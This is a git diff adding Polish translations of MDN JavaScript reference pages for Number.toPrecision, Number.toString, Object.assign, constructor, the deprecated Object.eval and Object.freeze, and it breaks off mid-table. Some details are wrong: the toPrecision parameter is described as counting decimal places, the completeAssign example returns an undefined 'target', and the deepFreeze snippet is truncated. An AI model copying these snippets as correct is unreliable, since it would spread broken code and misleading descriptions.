+1,56 @@ +--- +title: Number.prototype.toPrecision() +slug: Web/JavaScript/Referencje/Obiekty/Number/toPrecision +tags: + - JavaScript + - Method + - Number + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Number/toPrecision +--- +<p>{{jsref}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca łańcuch znaków reprezentujący dany obiekt Number z określoną dokładnością.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>numObj</var>.toPrecision([<var>precision</var>])</code></pre> + +<h3 id="Parametr" name="Parametr">Parametr</h3> + +<dl> + <dt>precision</dt> + <dd>Liczba całkowita określająca liczbę cyfr po kropce dziesiętnej.</dd> +</dl> + +<h3 id="Zwraca" name="Zwraca">Zwraca</h3> + +<p>Łańcuch znaków reprezentujący obiekt {{jsxref("Number")}} w notacji stałoprzecinkowej lub wykładniczej z zaokrągleniem do tylu ważnych cyfr, ile wskazuje wartość <code>precision</code>.</p> + +<p>Jeśli metoda <code>toPrecision()</code> zostanie użyta do literałów liczbowych, które nie posiadają wykładnika i kropki dziesiętnej, należy wstawić spację przed kropką poprzedzającą wywołanie metody, aby zapobiec zinterpretowaniu tej kropki jako kropki dziesiętnej.</p> + +<p>Jeśli argument <code>precision</code> zostanie pominięty, metoda zachowuje się jak {{jsxref("Number.prototype.toString()")}}.</p> + +<p>Jeśli liczba posiada więcej cyfr niż określono przez parametr <code>precision</code>, jest ona zaokrąglana do najbliższej liczby o ilości cyfr wskazanej przez wartość <code>precision</code>. Zobacz dyskusję na temat zaokrąglania w opisie metody {{jsxref("Number.prototype.toFixed()")}}, która również odnosi się do metody <code>toPrecision</code>.</p> + +<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2> + +<pre class="brush: js">var num=5.123456; + +console.log("num.toPrecision() is " + num.toPrecision()); //wyświetli 5.123456 +console.log("num.toPrecision(4) is " + num.toPrecision(4)); //wyświetli 5.123 +console.log("num.toPrecision(2) is " + num.toPrecision(2)); //wyświetli 5.1 +console.log("num.toPrecision(1) is " + num.toPrecision(1)); //wyświetli 5 +console.log("1250 .toPrecision(2) is " + 1250 .toPrecision(2)); //wyświetli 1.3e+3 +console.log("1250 .toPrecision(5) is " + 1250 .toPrecision(5)); //wyświetli 1250.0 +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Number.prototype.toFixed()")}}</li> + <li>{{jsxref("Number.prototype.toExponential()")}}</li> + <li>{{jsxref("Number.prototype.toString()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/number/tostring/index.html b/files/pl/web/javascript/referencje/obiekty/number/tostring/index.html new file mode 100644 index 0000000000..cd29571aee --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/number/tostring/index.html @@ -0,0 +1,59 @@ +--- +title: Number.prototype.toString() +slug: Web/JavaScript/Referencje/Obiekty/Number/toString +tags: + - JavaScript + - Method + - Number + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Number/toString +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca łańcuch znaków reprezentujący dany obiekt {{jsxref("Number")}}.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>numObj</var>.toString([<var>radix</var>])</code></pre> + +<h3 id="Parametr" name="Parametr">Parametr</h3> + +<dl> + <dt>radix</dt> + <dd>Liczba całkowita z zakresu od 2 do 36 określająca podstawę użytą do reprezentacji wartości liczbowych.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Obiekt <code>Number</code> przesłania metodę <code>toString</code> obiektu {{jsxref("Object")}}; nie dziedziczy {{jsxref("Object.prototype.toString()")}}. Dla obiektów <code>Number</code> metoda <code>toString()</code> zwraca łańcuch znaków reprezentujący obiekt w danej podstawie wyliczeń.</p> + +<p>Metoda toString przetwarza pierwszy podany argument i próbuje zwrócić reprezentację w postaci łańcucha znaków w określonej podstawie wyliczeń. Dla podstawy większej od 10 litery alfabetu wskazują liczby większe niż 9. Przykładowo dla liczb heksadecymalnych (podstawa 16) użyte zostaną litery od A do F.</p> + +<p>Jeśli jako argument <code>toString()</code> podano podstawę nie będącą w zakresie od 2 do 36, zostanie wywołany wyjątek.</p> + +<p>Jeśli podstawa nie została określona, JavaScript przyjmuje za podstawę wartość 10.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre class="brush: js language-js"><code class="language-js"><span class="token keyword">var</span> count <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> + +console<span class="token punctuation">.</span><span class="token function">log<span class="token punctuation">(</span></span>count<span class="token punctuation">.</span><span class="token function">toString<span class="token punctuation">(</span></span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // displays '10' +</span>console<span class="token punctuation">.</span><span class="token function">log<span class="token punctuation">(</span></span><span class="token punctuation">(</span><span class="token number">17</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toString<span class="token punctuation">(</span></span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // displays '17' +</span> +<span class="token keyword">var</span> x <span class="token operator">=</span> <span class="token number">6</span><span class="token punctuation">;</span> + +console<span class="token punctuation">.</span><span class="token function">log<span class="token punctuation">(</span></span>x<span class="token punctuation">.</span><span class="token function">toString<span class="token punctuation">(</span></span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // displays '110' +</span>console<span class="token punctuation">.</span><span class="token function">log<span class="token punctuation">(</span></span><span class="token punctuation">(</span><span class="token number">254</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toString<span class="token punctuation">(</span></span><span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // displays 'fe' +</span> +console<span class="token punctuation">.</span><span class="token function">log<span class="token punctuation">(</span></span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toString<span class="token punctuation">(</span></span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // displays '-1010' +</span>console<span class="token punctuation">.</span><span class="token function">log<span class="token punctuation">(</span></span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">0xff</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toString<span class="token punctuation">(</span></span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // displays '-11111111'</span></code></pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Number.prototype.toFixed()")}}</li> + <li>{{jsxref("Number.prototype.toExponential()")}}</li> + <li>{{jsxref("Number.prototype.toPrecision()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/object/assign/index.html b/files/pl/web/javascript/referencje/obiekty/object/assign/index.html new file mode 100644 index 0000000000..81e764456a --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/object/assign/index.html @@ -0,0 +1,307 @@ +--- +title: Object.assign() +slug: Web/JavaScript/Referencje/Obiekty/Object/assign +translation_of: Web/JavaScript/Reference/Global_Objects/Object/assign +--- +<div>{{JSRef}}</div> + +<p>Metoda <strong><code>Object.assign()</code></strong> kopiuje wszystkie wartości wyliczalnych własnych właściwości z jednego lub więcej obiektów źródłowych do obiektu docelowego. Zwraca obiekt docelowy.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">Object.assign(<var>cel</var>, ...<var>zrodla</var>)</pre> + +<h3 id="Parameters">Parameters</h3> + +<dl> + <dt><code>cel</code></dt> + <dd>Obiekt docelowy.</dd> + <dt><code>zrodla</code></dt> + <dd>Obiekt(y) żródłowe.</dd> +</dl> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p>Obiekt docelowy.</p> + +<h2 id="Opis">Opis</h2> + +<p>Właściwości w obiekcie docelowym zostaną nadpisane właściwościami obiektów źródłowych, jeśli właściwości te mają takie same nazwy. Właściwości obiektów źródłowych występujących później na liście argumentów, podobnie, nadpiszą właściwości obiektów występujących wcześniej.</p> + +<p>Metoda <code>Object.assign()</code> jedynie kopiuje <em>wyliczalne</em> i <em>własne</em> właściwości z obiektów źródłowych do obiektu docelowego. Używa do tego <code>[[Get]]</code> na źródle oraz <code>[[Set]]</code> na obiekcie docelowym, więc wywołuje gettery i settery odpowiednich obiektów. Dlatego też mowa tu o <em>przypisaniu</em> właściwości, a nie o ich kopiowaniu czy tworzeniu nowych. Metoda ta może być więc nieodpowiednia do przyłączania nowych właściwości do prototypu, w przypadku gdy źródła przyłączenia zawierają gettery. Do kopiowania definicji właściwości, wliczając ich wyliczalność, do prototypów należy użyć {{jsxref("Object.getOwnPropertyDescriptor()")}} oraz {{jsxref("Object.defineProperty()")}}.</p> + +<p>Obie właściwości {{jsxref("String")}} jak i {{jsxref("Symbol")}} są kopiowane.</p> + +<p>W przypadku błędu, na przykład gdy wartość jest zabezpieczona przed zapisem, zostanie rzucony błąd {{jsxref("TypeError")}}, a obiekt docelowy może zostać zmieniony, jeśli jakieś właściwości zostały do niego dodane przed wystąpieniem błędu.</p> + +<p>Zauważ, że <code>Object.assign()</code> nie rzuci błędu, gdy źródłem jest {{jsxref("null")}} lub {{jsxref("undefined")}}.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Klonowanie_obiektu">Klonowanie obiektu</h3> + +<pre class="brush: js">var obiekt = { a: 1 }; +var kopia = Object.assign({}, obiekt); +console.log(kopia); // { a: 1 } +</pre> + +<h3 id="Deep_Clone" name="Deep_Clone">Ostrzeżenie przed Głębokim Klonowaniem</h3> + +<p>W przypadku głębokiego klonowania musimy użyć innych sposóbów, ponieważ <code>Object.assign()</code> kopiuje jedynie wartości przechowywane we właściwościach. Jeżeli właściwość źródłowa jest referencją do obiektu, to skopiowana zostanie jedynie ta referencja (wówczas zarówno źródło jak i cel będą posiadać referencję do tego samego obiektu, a nie osobne kopie tych obiektów).</p> + +<pre><code>function test() { + 'use strict'; + + let obj1 = { a: 0 , b: { c: 0}}; // a: wartość, b: referencja, c: wartość + let obj2 = Object.assign({}, obj1); + console.log(JSON.stringify(obj2)); // { a: 0, b: { c: 0}} + + obj1.a = 1; // zmiana wartości, dotyczy tylko obj1 + console.log(JSON.stringify(obj1)); // { a: 1, b: { c: 0}} + console.log(JSON.stringify(obj2)); // { a: 0, b: { c: 0}} + + obj2.a = 2; // zmiana wartości, dotyczy tylko obj2 + console.log(JSON.stringify(obj1)); // { a: 1, b: { c: 0}} + console.log(JSON.stringify(obj2)); // { a: 2, b: { c: 0}} + + obj2.b.c = 3; // zmiana wartości w obiekcie o współdzielonej referencji + console.log(JSON.stringify(obj1)); // { a: 1, b: { c: 3}} // teraz b.c == 3 + console.log(JSON.stringify(obj2)); // { a: 2, b: { c: 3}} // i tu też b.c == 3, bo obj1.b === obj2.b + + // Klonowanie głębokie + obj1 = { a: 0 , b: { c: 0}}; + let obj3 = JSON.parse(JSON.stringify(obj1)); + obj1.a = 4; + obj1.b.c = 4; + console.log(JSON.stringify(obj3)); // { a: 0, b: { c: 0}} // obj1.b !== obj2.b +} + +test();</code></pre> + +<h3 id="Łączenie_obiektów">Łączenie obiektów</h3> + +<pre class="brush: js">var o1 = { a: 1 }; +var o2 = { b: 2 }; +var o3 = { c: 3 }; + +var obj = Object.assign(o1, o2, o3); +console.log(obj); // { a: 1, b: 2, c: 3 } +console.log(o1); // { a: 1, b: 2, c: 3 }, sam obiekt docelowy został zmieniony.</pre> + +<h3 id="Łączenie_obiektów_z_tymi_samymi_właściowściami">Łączenie obiektów z tymi samymi właściowściami</h3> + +<pre class="brush: js">var o1 = { a: 1, b: 1, c: 1 }; +var o2 = { b: 2, c: 2 }; +var o3 = { c: 3 }; + +var obj = Object.assign({}, o1, o2, o3); +console.log(obj); // { a: 1, b: 2, c: 3 }</pre> + +<p>Właściwość jest nadpisywana przez ostatni obiekt w liście parametrów, który ma taką samą właściwość.</p> + +<h3 id="Kopiowanie_właściwości-symboli">Kopiowanie właściwości-symboli</h3> + +<pre class="brush: js">var o1 = { a: 1 }; +var o2 = { [Symbol('foo')]: 2 }; + +var obj = Object.assign({}, o1, o2); +console.log(obj); // { a : 1, [Symbol("foo")]: 2 } (cf. bug 1207182 on Firefox) +Object.getOwnPropertySymbols(obj); // [Symbol(foo)] +</pre> + +<h3 id="Właściwości_nieprzeliczalne_oraz_te_z_łańcucha_prototypów_nie_są_kopiowane">Właściwości nieprzeliczalne oraz te z łańcucha prototypów nie są kopiowane</h3> + +<pre class="brush: js">var obj = Object.create({ foo: 1 }, { // foo jest właściwością prototypu obiektu obj + bar: { + value: 2 // bar jest nieprzeliczalną właściwością + }, + baz: { + value: 3, + enumerable: true // baz jest własną, przeliczalną właściwością obiektu obj + } +}); + +var kopia = Object.assign({}, obj); +console.log(kopia); // { baz: 3 } +</pre> + +<h3 id="Wartości_podstawowe_zostaną_włożone_do_ich_wrapperów">Wartości podstawowe zostaną włożone do ich wrapperów</h3> + +<pre class="brush: js">var v1 = 'abc'; +var v2 = true; +var v3 = 10; +var v4 = Symbol('foo'); + +var obj = Object.assign({}, v1, null, v2, undefined, v3, v4); +// Wartości podstawowe będą we wrapperach, null i undefined zostaną zignorowane. +// Zauważ, że jedynie wrapper string'a ma przeliczalne właściwości: +console.log(obj); // { "0": "a", "1": "b", "2": "c" } +</pre> + +<h3 id="Wyjątki_przerwą_wykonywanie_kopiowania">Wyjątki przerwą wykonywanie kopiowania</h3> + +<pre class="brush: js">var cel = Object.defineProperty({}, 'foo', { + value: 1, + writable: false +}); // cel.foo jest właściwością tylko do odczytu + +Object.assign(cel, { bar: 2 }, { foo2: 3, foo: 3, foo3: 3 }, { baz: 4 }); +// TypeError: "foo" is read-only +// Wyjątek został wyrzucony podczas próby zapisania cel.foo + +console.log(cel.bar); // 2, pierwsze źródło zostało skopiowane pomyślnie +console.log(cel.foo2); // 3, pierwsza właściwość drugiego źródła zostało skopiowana pomyślnie +console.log(cel.foo); // 1, tutaj został wyrzucony wyjątek +console.log(cel.foo3); // undefined, kopiowanie dobiegło końca, foo3 nie zostanie skopiowane +console.log(cel.baz); // undefined, trzecie źródło również nie zostanie skopiowane +</pre> + +<h3 id="Kopiowanie_operatorów_pamięci">Kopiowanie operatorów pamięci</h3> + +<pre class="brush: js">var obj = { + foo: 1, + get bar() { + return 2; + } +}; + +var kopia = Object.assign({}, obj); +console.log(kopia); +// { foo: 1, bar: 2 }, wartość kopia.bar jest wartością zwracaną przez metodę getter właściwości obj.bar + +// Funkcja przypisania kopiująca całe deskryptory: +function completeAssign(cel, ...zrodla) { + zrodla.forEach(zrodlo => { + let deskryptory = Object.keys(zrodlo).reduce((deskryptory, klucz) => { + deskryptory[klucz] = Object.getOwnPropertyDescriptor(zrodlo, klucz); + return deskryptory; + }, {}); + // domyślnie Object.assign kopiuje również przeliczalne symbole + Object.getOwnPropertySymbols(zrodlo).forEach(sym => { + let deskryptor = Object.getOwnPropertyDescriptor(zrodlo, sym); + if (deskryptor.enumerable) { + deskryptory[sym] = deskryptor; + } + }); + Object.defineProperties(cel, deskryptory); + }); + return target; +} + +var kopia = completeAssign({}, obj); +console.log(kopia); +// { foo:1, get bar() { return 2 } } +</pre> + +<h2 id="Polyfill">Polyfill</h2> + +<p>Ten {{Glossary("Polyfill","polyfill")}} nie wspiera właściwości-symboli, ponieważ ES5 i tak ich nie ma.</p> + +<pre class="brush: js">if (typeof Object.assign != 'function') { + Object.assign = function(target, varArgs) { // .length of function is 2 + 'use strict'; + if (target == null) { // TypeError if undefined or null + throw new TypeError('Cannot convert undefined or null to object'); + } + + var to = Object(target); + + for (var index = 1; index < arguments.length; index++) { + var nextSource = arguments[index]; + + if (nextSource != null) { // Skip over if undefined or null + for (var nextKey in nextSource) { + // Avoid bugs when hasOwnProperty is shadowed + if (Object.prototype.hasOwnProperty.call(nextSource, nextKey)) { + to[nextKey] = nextSource[nextKey]; + } + } + } + } + return to; + }; +} +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-object.assign', 'Object.assign')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-object.assign', 'Object.assign')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarką">Kompatybilność z przeglądarką</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Edge</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome("45")}}</td> + <td>{{CompatGeckoDesktop("34")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatOpera("32")}}</td> + <td>{{CompatSafari("9")}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome("45")}}</td> + <td>{{CompatGeckoMobile("34")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{jsxref("Object.defineProperties()")}}</li> + <li><a href="/pl/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">Przeliczalność i własność właściwości</a></li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/object/constructor/index.html b/files/pl/web/javascript/referencje/obiekty/object/constructor/index.html new file mode 100644 index 0000000000..3de20f1350 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/object/constructor/index.html @@ -0,0 +1,49 @@ +--- +title: Object.prototype.constructor +slug: Web/JavaScript/Referencje/Obiekty/Object/constructor +tags: + - JavaScript + - Object + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Object/constructor +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Określa funkcję tworzącą prototyp obiektu. Należy pamiętać, że wartość tej własności jest referencją do funkcji, a nie łańcuchem znaków zawierającym jej nazwę.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Wszystkie obiekty dziedziczą własność <code>constructor</code> z ich prototypu (<code>prototype</code>):</p> + +<pre class="brush: js">var o = {}; +o.constructor === Object; // true + +var a = []; +a.constructor === Array; // true + +var n = new Number(3); +n.constructor === Number; // true +</pre> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Wy.C5.9Bwietlanie_konstruktora_obiektu" name="Przyk.C5.82ad:_Wy.C5.9Bwietlanie_konstruktora_obiektu">Przykład: Wyświetlanie konstruktora obiektu</h3> + +<p>Poniższy przykład tworzy prototyp, <code>Drzewo</code> i obiekt tego typu <code>sosna</code>. Następnie wyświetlana jest własność <code>constructor</code> obiektu <code>Drzewo</code>.</p> + +<pre class="brush: js">function Drzewo(nazwa) { + this.nazwa=nazwa; +} + +sosna = new Drzewo("sosna"); +console.log("sosna.constructor to " + sosna.constructor) +</pre> + +<p>Przykład ten wyświetla:</p> + +<pre>sosna.constructor to function Drzewo(nazwa) { + this.nazwa = nazwa; +} +</pre> diff --git a/files/pl/web/javascript/referencje/obiekty/object/eval/index.html b/files/pl/web/javascript/referencje/obiekty/object/eval/index.html new file mode 100644 index 0000000000..7f8b355d65 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/object/eval/index.html @@ -0,0 +1,64 @@ +--- +title: Object.prototype.eval() +slug: Web/JavaScript/Referencje/Obiekty/Object/eval +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Archive/Web/JavaScript/Object.eval +--- +<p>{{ Deprecated_header() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Metoda przestarzała. Wykonuje kod JavaScriptu zawarty w łańcuchu znaków w kontekście danego obiektu.</p> + +<table class="fullwidth-table"> + <tbody> + <tr> + <td class="header" colspan="2">Metoda obiektu: <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Object">Object</a></td> + </tr> + <tr> + <td>Zaimplementowana w:</td> + <td>JavaScript 1.1, NES2.0 + <p>JavaScript 1.2, NES 3.0: przestarzała jako metoda obiektów, pozostawiona jako funkcja najwyższego poziomu.</p> + + <p>JavaScript 1.4: usunięta jako metoda obiektów.</p> + </td> + </tr> + </tbody> +</table> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<p><code>eval( + <i>łańcuch znaków</i> + ) </code></p> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>łańcuch znaków</code> </dt> + <dd>dowolny łańcuch znaków reprezentujący wyrażenie, polecenie lub sekwencję poleceń JavaScriptu. Wyrażenie może zawierać zmienne i własności istniejących obiektów.</dd> +</dl> + +<h3 id="Opis" name="Opis">Opis</h3> + +<p>Metoda <code>eval</code> nie jest już dostępna jako metoda obiektu <code>Object</code>. Należy używać funkcji najwyższego rzędu <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/eval">eval</a></code>.</p> + +<h3 id="Zgodno.C5.9B.C4.87_wsteczna" name="Zgodno.C5.9B.C4.87_wsteczna">Zgodność wsteczna</h3> + +<h4 id="JavaScript_1.2_i_1.3" name="JavaScript_1.2_i_1.3">JavaScript 1.2 i 1.3</h4> + +<p><code>eval</code> jako metoda obiektu <code>Object</code> i każdego obiektu dziedziczącego po <code>Object</code> jest przestarzała (ale nadal dostępna).</p> + +<h4 id="JavaScript_1.1" name="JavaScript_1.1">JavaScript 1.1</h4> + +<p><code>eval</code> jest dostępna jako metoda obiektu <code>Object</code> i każdego obiektu dziedziczącego po <code>Object</code>.</p> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<p><code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/eval">eval</a></code></p> + +<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/Object/eval", "ja": "ja/Core_JavaScript_1.5_Reference/Global_Objects/Object/eval" } ) }}</p> diff --git a/files/pl/web/javascript/referencje/obiekty/object/freeze/index.html b/files/pl/web/javascript/referencje/obiekty/object/freeze/index.html new file mode 100644 index 0000000000..73e0139f31 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/object/freeze/index.html @@ -0,0 +1,201 @@ +--- +title: Object.freeze() +slug: Web/JavaScript/Referencje/Obiekty/Object/freeze +translation_of: Web/JavaScript/Reference/Global_Objects/Object/freeze +--- +<div>{{JSRef}}</div> + +<div>Metoda <code><strong>Object.freeze()</strong> </code>"zamraża" obiekt, tzn. uniemożliwia dodawania nowych właściwości do obiektu; uniemożliwia usuwanie istniejących właściwości; uniemożliwia zmianę istniejących właściwości; oraz uniemożliwia zmianę prototypu obiektu. W efekcie obiekt jest naprawdę stały. Metoda zwraca obiekt w stanie "zamrożonym".</div> + +<div> </div> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><code>Object.freeze(<var>obj</var>)</code></pre> + +<h3 id="Argumenty">Argumenty</h3> + +<dl> + <dt><code>obj</code></dt> + <dd>Obiekt który ma zostać "zamrożony".</dd> +</dl> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p>"Zamrożony" obiekt.</p> + +<h2 id="Opis">Opis</h2> + +<p>Nic nie może zostać dodane ani usunięte z "zamrożonego" obiektu. Każda próba tego wywoła błąd, albo po cichu, albo rzucając wyjątek {{jsxref("TypeError")}}(zawzwyczaj, choć nie zawsze, w przypadku używania {{jsxref("Strict_mode", "strict mode", "", 1)}}).</p> + +<p>Nie ma możliwości zmiany wartości właściwości obiektu. Metody dostępu (gettery i settery) działają bez zmian (sprawiają wrażenie skutecznej zmiany właściwości obiektu). Zwróć uwagę na to, że wartości, które są obiektami w dalszym ciągu mogą być modyfikowane, chyba że również są "zamrożone". Z uwagi na to, że Tablica (Array) jest obiektem, również może zostać zamrożona co uniemożliwi zmianę jej elementów, ich usuwanie oraz dodawanie nowych. </p> + +<h2 id="Przykłady">Przykłady</h2> + +<p> </p> + +<h3 id="Zamrażanie_Obiektów">Zamrażanie Obiektów</h3> + +<p> </p> + +<pre class="brush: js">var obj = { + prop: function() {}, + foo: 'bar' +}; + +// Nowe właściwości mogą być dodawane, istniejące mogą być zmieniane oraz usuwane +obj.foo = 'baz'; +obj.lumpy = 'woof'; +delete obj.prop; + +// Zarówno obiekt przekazywany w funkcji freeze() jak i obiekt zwracany bedą "zamrożone" +// Nie ma potrzeby przypisywania zwracanego obiektu do zmiennej jeśli chcemy tylko "zamrozić" obiekt przekazywany w funkcji +var o = Object.freeze(obj); + +o === obj; // true +Object.isFrozen(obj); // === true + +// Teraz wszelkie zmiany są niemożliwe +obj.foo = 'quux'; // brak rezultatu nieskutkujący wyświetleniem błędu +obj.quaxxor = 'the friendly duck'; // brak rezultatu nieskutkujący wyświetleniem błędu + +// przy strict mode tego typu próby spowodują wyświetlenie komunikatu o błędzie +function fail(){ + 'use strict'; + obj.foo = 'sparky'; // TypeError + delete obj.quaxxor; // TypeError + obj.sparky = 'arf'; // TypeError +} + +fail(); + +// Próby zmian poprzez Object.defineProperty spowodują wyświetlenie komunikatu o błędzie +Object.defineProperty(obj, 'ohai', { value: 17 }); // TypeError +Object.defineProperty(obj, 'foo', { value: 'eit' }); // TypeError + +// Niemożliwa jest również zmiana prototypu obiektu. Obie instrukcje poniżej wygenerują błąd +Object.setPrototypeOf(obj, { x: 20}) +obj.__proto__ = { x: 20} +</pre> + +<h3 id="Zamrażanie_Tablic_(Array)">Zamrażanie Tablic (Array)</h3> + +<p> </p> + +<pre class="brush: js"><code>let a = [0]; +Object.freeze(a); // Tablica nie może być teraz modyfikowana + +a[0]=1; // brak rezultatu nieskutkujący wyświetleniem błędu +a.push(2); // brak rezultatu nieskutkujący wyświetleniem błędu + +// </code>przy strict mode tego typu próby spowodują wyświetlenie komunikatu o błędzie<code> TypeErrors +function fail() { + "use strict" + a[0] = 1; + a.push(2); +} + +fail();</code></pre> + +<p>"Zamrożony" obiekt jest <em>niemutowalny</em>. Nie jest on jednak <em>stałą</em>. Obrazuje to poniższy przykład.</p> + +<pre class="brush: js"><code>obj1 = { + internal: {} +}; + +Object.freeze(obj1); +obj1.internal.a = 'aValue'; + +obj1.internal.a // 'aValue'</code> +</pre> + +<p> </p> + +<p>To be a constant object, the entire reference graph (direct and indirect references to other objects) must reference only immutable frozen objects. The object being frozen is said to be immutable because the entire object <em>state </em>(values and references to other objects) within the whole object is fixed. Note that strings, numbers, and booleans are always immutable and that Functions and Arrays are objects. </p> + +<p>To make an object constant, recursively freeze each property which is of type object (deep freeze). Use the pattern on a case-by-case basis based on your design when you know the object contains no <em><a href="https://en.wikipedia.org/wiki/Cycle_(graph_theory)">cycles</a> </em>in the reference graph, otherwise an endless loop will be triggered. An enhancement to deepFreeze() would be to have an internal function that receives a path (e.g. an Array) argument so you can supress calling deepFreeze() recursively when an object is in the process of being made constant. You still run a risk of freezing an object that shouldn't be frozen, such as [window].</p> + +<pre class="brush: js"><code>// To do so, we use this function. +function deepFreeze(obj) { + + // Retrieve the property names defined on obj + var propNames = Object.getOwnPropertyNames(obj); + + // Freeze properties before freezing self + propNames.forEach(function(name) { + var prop = obj[name]; + + // Freeze prop if it is an object + if (typeof prop == 'object' && prop !== null) + deepFreeze(prop); + }); + + // Freeze self (no-op if already frozen) + return Object.freeze(obj); +} + +obj2 = { + internal: {} +}; + +deepFreeze(obj2); +obj2.internal.a = 'anotherValue'; +obj2.internal.a; // unde</code></pre> + +<p> </p> + +<p> </p> + +<h2 id="Notes">Notes</h2> + +<p>In ES5, if the argument to this method is not an object (a primitive), then it will cause a {{jsxref("TypeError")}}. In ES2015, a non-object argument will be treated as if it were a frozen ordinary object, and be simply returned.</p> + +<pre class="brush: js">> Object.freeze(1) +TypeError: 1 is not an object // ES5 code + +> Object.freeze(1) +1 // ES2015 code +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.2.3.9', 'Object.freeze')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td>Initial definition. Implemented in JavaScript 1.8.5.</td> + </tr> + <tr> + <td>{{SpecName('ES2015', 